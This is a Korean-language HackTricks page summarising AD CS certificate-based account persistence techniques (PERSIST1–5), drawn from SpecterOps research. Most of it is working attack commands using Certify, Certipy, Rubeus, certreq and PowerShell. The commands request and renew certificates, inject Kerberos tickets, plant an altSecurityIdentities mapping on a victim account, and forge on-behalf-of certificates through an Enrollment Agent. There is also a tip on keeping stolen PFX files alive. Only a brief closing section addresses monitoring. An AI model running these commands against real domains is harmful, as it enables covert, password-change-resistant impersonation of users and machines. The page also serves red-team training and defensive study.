AD CS Account Persistence

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

이것은 https://specterops.io/assets/resources/Certified_Pre-Owned.pdfμ—μ„œμ˜ λ©‹μ§„ μ—°κ΅¬μ˜ 계정 지속성 μž₯에 λŒ€ν•œ κ°„λ‹¨ν•œ μš”μ•½μž…λ‹ˆλ‹€.

μΈμ¦μ„œλ₯Ό ν†΅ν•œ ν™œμ„± μ‚¬μš©μž 자격 증λͺ… λ„λ‚œ 이해 – PERSIST1

μ‚¬μš©μžκ°€ 도메인 인증을 ν—ˆμš©ν•˜λŠ” μΈμ¦μ„œλ₯Ό μš”μ²­ν•  수 μžˆλŠ” μ‹œλ‚˜λ¦¬μ˜€μ—μ„œ, κ³΅κ²©μžλŠ” 이 μΈμ¦μ„œλ₯Ό μš”μ²­ν•˜κ³  훔쳐 λ„€νŠΈμ›Œν¬μ—μ„œ 지속성을 μœ μ§€ν•  기회λ₯Ό κ°–μŠ΅λ‹ˆλ‹€. 기본적으둜 Active Directory의 User ν…œν”Œλ¦Ώμ€ μ΄λŸ¬ν•œ μš”μ²­μ„ ν—ˆμš©ν•˜μ§€λ§Œ, λ•Œλ•Œλ‘œ λΉ„ν™œμ„±ν™”λ  수 μžˆμŠ΅λ‹ˆλ‹€.

Certify λ˜λŠ” Certipyλ₯Ό μ‚¬μš©ν•˜μ—¬ ν΄λΌμ΄μ–ΈνŠΈ 인증을 ν—ˆμš©ν•˜λŠ” ν™œμ„±ν™”λœ ν…œν”Œλ¦Ώμ„ κ²€μƒ‰ν•œ λ‹€μŒ μš”μ²­ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

# Enumerate client-auth capable templates
Certify.exe find /clientauth

# Request a user cert from an Enterprise CA (current user context)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User

# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx

μΈμ¦μ„œμ˜ νž˜μ€ μΈμ¦μ„œκ°€ μœ νš¨ν•œ ν•œ, λΉ„λ°€λ²ˆν˜Έ λ³€κ²½κ³Ό 관계없이 μ†Œμ†λœ μ‚¬μš©μžλ‘œμ„œ 인증할 수 μžˆλŠ” λŠ₯λ ₯에 μžˆμŠ΅λ‹ˆλ‹€.

PEM을 PFX둜 λ³€ν™˜ν•˜κ³  이λ₯Ό μ‚¬μš©ν•˜μ—¬ TGTλ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€:

# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt

# Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10

μ°Έκ³ : λ‹€λ₯Έ 기술과 κ²°ν•©ν•˜μ—¬ (THEFT μ„Ήμ…˜ μ°Έμ‘°), μΈμ¦μ„œ 기반 인증은 LSASS에 μ ‘κ·Όν•˜μ§€ μ•Šκ³ λ„ λΉ„μŠΉκ²© μ»¨ν…μŠ€νŠΈμ—μ„œ 지속적인 접근을 ν—ˆμš©ν•©λ‹ˆλ‹€.

μΈμ¦μ„œλ₯Ό ν†΅ν•œ λ¨Έμ‹  지속성 확보 - PERSIST2

κ³΅κ²©μžκ°€ ν˜ΈμŠ€νŠΈμ—μ„œ μƒμŠΉλœ κΆŒν•œμ„ κ°€μ§€κ³  μžˆλ‹€λ©΄, κΈ°λ³Έ Machine ν…œν”Œλ¦Ώμ„ μ‚¬μš©ν•˜μ—¬ μ†μƒλœ μ‹œμŠ€ν…œμ˜ λ¨Έμ‹  계정을 μΈμ¦μ„œμ— 등둝할 수 μžˆμŠ΅λ‹ˆλ‹€. λ¨Έμ‹ μœΌλ‘œ μΈμ¦ν•˜λ©΄ 둜컬 μ„œλΉ„μŠ€μ— λŒ€ν•΄ S4U2Selfλ₯Ό ν™œμ„±ν™”ν•  수 있으며, μ΄λŠ” 내ꡬ성 μžˆλŠ” 호슀트 지속성을 μ œκ³΅ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine

# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt

Extending Persistence Through Certificate Renewal - PERSIST3

μΈμ¦μ„œ ν…œν”Œλ¦Ώμ˜ μœ νš¨μ„± 및 κ°±μ‹  기간을 μ•…μš©ν•˜λ©΄ κ³΅κ²©μžκ°€ μž₯기적인 접근을 μœ μ§€ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이전에 λ°œκΈ‰λœ μΈμ¦μ„œμ™€ κ·Έ 개인 ν‚€λ₯Ό μ†Œμœ ν•˜κ³  μžˆλ‹€λ©΄, 만료 전에 이λ₯Ό κ°±μ‹ ν•˜μ—¬ μ›λž˜ 주체와 μ—°κ²°λœ μΆ”κ°€ μš”μ²­ μ•„ν‹°νŒ©νŠΈ 없이 μƒˆλ‘­κ³  μž₯기적인 자격 증λͺ…을 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx

# Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]

운영 팁: κ³΅κ²©μžκ°€ λ³΄μœ ν•œ PFX 파일의 수λͺ…을 μΆ”μ ν•˜κ³  쑰기에 κ°±μ‹ ν•˜μ‹­μ‹œμ˜€. 갱신은 λ˜ν•œ μ—…λ°μ΄νŠΈλœ μΈμ¦μ„œκ°€ ν˜„λŒ€ SID λ§€ν•‘ ν™•μž₯을 ν¬ν•¨ν•˜λ„λ‘ ν•˜μ—¬ 더 μ—„κ²©ν•œ DC λ§€ν•‘ κ·œμΉ™ ν•˜μ—μ„œλ„ μ‚¬μš© κ°€λŠ₯ν•˜κ²Œ μœ μ§€ν•©λ‹ˆλ‹€(λ‹€μŒ μ„Ήμ…˜ μ°Έμ‘°).

λͺ…μ‹œμ  μΈμ¦μ„œ λ§€ν•‘ 심기 (altSecurityIdentities) – PERSIST4

λŒ€μƒ κ³„μ •μ˜ altSecurityIdentities 속성에 μ“Έ 수 μžˆλ‹€λ©΄, κ³΅κ²©μžκ°€ μ œμ–΄ν•˜λŠ” μΈμ¦μ„œλ₯Ό ν•΄λ‹Ή 계정에 λͺ…μ‹œμ μœΌλ‘œ λ§€ν•‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” λΉ„λ°€λ²ˆν˜Έ 변경을 λ„˜μ–΄ μ§€μ†λ˜λ©°, κ°•λ ₯ν•œ λ§€ν•‘ ν˜•μ‹μ„ μ‚¬μš©ν•  경우 ν˜„λŒ€ DC μ§‘ν–‰ ν•˜μ—μ„œλ„ κΈ°λŠ₯을 μœ μ§€ν•©λ‹ˆλ‹€.

κ³ μˆ˜μ€€ 흐름:

  1. μ œμ–΄ν•˜λŠ” ν΄λΌμ΄μ–ΈνŠΈ μΈμ¦μ„œλ₯Ό μ–»κ±°λ‚˜ λ°œκΈ‰ν•©λ‹ˆλ‹€(예: User ν…œν”Œλ¦Ώμ— 본인으둜 등둝).
  2. μΈμ¦μ„œμ—μ„œ κ°•λ ₯ν•œ μ‹λ³„μžλ₯Ό μΆ”μΆœν•©λ‹ˆλ‹€(λ°œκΈ‰μž+일련번호, SKI λ˜λŠ” SHA1-κ³΅κ°œν‚€).
  3. ν•΄λ‹Ή μ‹λ³„μžλ₯Ό μ‚¬μš©ν•˜μ—¬ ν”Όν•΄μž 주체의 altSecurityIdentities에 λͺ…μ‹œμ  맀핑을 μΆ”κ°€ν•©λ‹ˆλ‹€.
  4. μΈμ¦μ„œλ‘œ μΈμ¦ν•©λ‹ˆλ‹€; DCλŠ” 이λ₯Ό λͺ…μ‹œμ  맀핑을 톡해 ν”Όν•΄μžμ—κ²Œ λ§€ν•‘ν•©λ‹ˆλ‹€.

예제 (PowerShell) κ°•λ ₯ν•œ λ°œκΈ‰μž+일련번호 λ§€ν•‘ μ‚¬μš©:

# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map     = "X509:<I>$Issuer<SR>$SerialR"

# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

그런 λ‹€μŒ PFX둜 μΈμ¦ν•©λ‹ˆλ‹€. CertipyλŠ” TGTλ₯Ό 직접 μ–»μŠ΅λ‹ˆλ‹€:

certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10

λ…ΈνŠΈ

  • κ°•λ ₯ν•œ λ§€ν•‘ μœ ν˜•λ§Œ μ‚¬μš©ν•˜μ‹­μ‹œμ˜€: X509IssuerSerialNumber, X509SKI λ˜λŠ” X509SHA1PublicKey. μ•½ν•œ ν˜•μ‹(Subject/Issuer, Subject-only, RFC822 이메일)은 더 이상 μ‚¬μš©λ˜μ§€ μ•ŠμœΌλ©° DC 정책에 μ˜ν•΄ 차단될 수 μžˆμŠ΅λ‹ˆλ‹€.
  • μΈμ¦μ„œ 체인은 DCμ—μ„œ μ‹ λ’°ν•˜λŠ” 루트둜 κ΅¬μΆ•λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. NTAuth의 μ—”ν„°ν”„λΌμ΄μ¦ˆ CAλŠ” 일반적으둜 μ‹ λ’°λ˜λ©°, 일뢀 ν™˜κ²½μ—μ„œλŠ” 곡용 CA도 μ‹ λ’°ν•©λ‹ˆλ‹€.

μ•½ν•œ λͺ…μ‹œμ  λ§€ν•‘ 및 곡격 κ²½λ‘œμ— λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ λ‹€μŒμ„ μ°Έμ‘°ν•˜μ‹­μ‹œμ˜€:

AD CS Domain Escalation

Enrollment Agent as Persistence – PERSIST5

μœ νš¨ν•œ Certificate Request Agent/Enrollment Agent μΈμ¦μ„œλ₯Ό μ–»μœΌλ©΄ μ‚¬μš©μžλ₯Ό λŒ€μ‹ ν•˜μ—¬ μƒˆλ‘œμš΄ 둜그온 κ°€λŠ₯ μΈμ¦μ„œλ₯Ό λ§ˆμŒλŒ€λ‘œ λ°œκΈ‰ν•  수 있으며, μ—μ΄μ „νŠΈ PFXλ₯Ό μ˜€ν”„λΌμΈ μƒνƒœλ‘œ μœ μ§€ν•˜μ—¬ 지속성 ν† ν°μœΌλ‘œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ‚¨μš© μ›Œν¬ν”Œλ‘œμš°:

# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"

# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass

# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx

μ—μ΄μ „νŠΈ μΈμ¦μ„œ λ˜λŠ” ν…œν”Œλ¦Ώ κΆŒν•œμ˜ μ·¨μ†Œκ°€ 이 지속성을 μ œκ±°ν•˜λŠ” 데 ν•„μš”ν•©λ‹ˆλ‹€.

2025 κ°•λ ₯ν•œ μΈμ¦μ„œ λ§€ν•‘ μ‹œν–‰: 지속성에 λ―ΈμΉ˜λŠ” 영ν–₯

Microsoft KB5014754λŠ” 도메인 μ»¨νŠΈλ‘€λŸ¬μ—μ„œ κ°•λ ₯ν•œ μΈμ¦μ„œ λ§€ν•‘ μ‹œν–‰μ„ λ„μž…ν–ˆμŠ΅λ‹ˆλ‹€. 2025λ…„ 2μ›” 11일뢀터 DCλŠ” 기본적으둜 전체 μ‹œν–‰μœΌλ‘œ μ„€μ •λ˜μ–΄ μ•½ν•œ/λͺ¨ν˜Έν•œ 맀핑을 κ±°λΆ€ν•©λ‹ˆλ‹€. μ‹€μ§ˆμ μΈ 의미:

  • SID λ§€ν•‘ ν™•μž₯이 μ—†λŠ” 2022λ…„ 이전 μΈμ¦μ„œλŠ” DCκ°€ 전체 μ‹œν–‰ μƒνƒœμΌ λ•Œ 암묡적 맀핑에 μ‹€νŒ¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” AD CSλ₯Ό 톡해 μΈμ¦μ„œλ₯Ό κ°±μ‹ ν•˜μ—¬ SID ν™•μž₯을 μ–»κ±°λ‚˜ altSecurityIdentities에 κ°•λ ₯ν•œ λͺ…μ‹œμ  맀핑을 심어 접근을 μœ μ§€ν•  수 μžˆμŠ΅λ‹ˆλ‹€ (PERSIST4).
  • κ°•λ ₯ν•œ ν˜•μ‹(λ°œκΈ‰μž+일련번호, SKI, SHA1-κ³΅κ°œν‚€)을 μ‚¬μš©ν•˜λŠ” λͺ…μ‹œμ  맀핑은 계속 μž‘λ™ν•©λ‹ˆλ‹€. μ•½ν•œ ν˜•μ‹(λ°œκΈ‰μž/주체, 주체 μ „μš©, RFC822)은 차단될 수 있으며 지속성을 μœ„ν•΄ ν”Όν•΄μ•Ό ν•©λ‹ˆλ‹€.

κ΄€λ¦¬μžλŠ” λ‹€μŒμ„ λͺ¨λ‹ˆν„°λ§ν•˜κ³  κ²½κ³ ν•΄μ•Ό ν•©λ‹ˆλ‹€:

  • altSecurityIdentities의 λ³€κ²½ 및 등둝 μ—μ΄μ „νŠΈ 및 μ‚¬μš©μž μΈμ¦μ„œμ˜ λ°œκΈ‰/κ°±μ‹ .
  • λŒ€λ¦¬ μš”μ²­ 및 비정상적인 κ°±μ‹  νŒ¨ν„΄μ— λŒ€ν•œ CA λ°œκΈ‰ 둜그.

μ°Έμ‘°

  • Microsoft. KB5014754: Windows 도메인 컨트둀러의 μΈμ¦μ„œ 기반 인증 λ³€κ²½ 사항 (μ‹œν–‰ 일정 및 κ°•λ ₯ν•œ λ§€ν•‘). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
  • Certipy Wiki – λͺ…λ Ή μ°Έμ‘° (req -renew, auth, shadow). https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°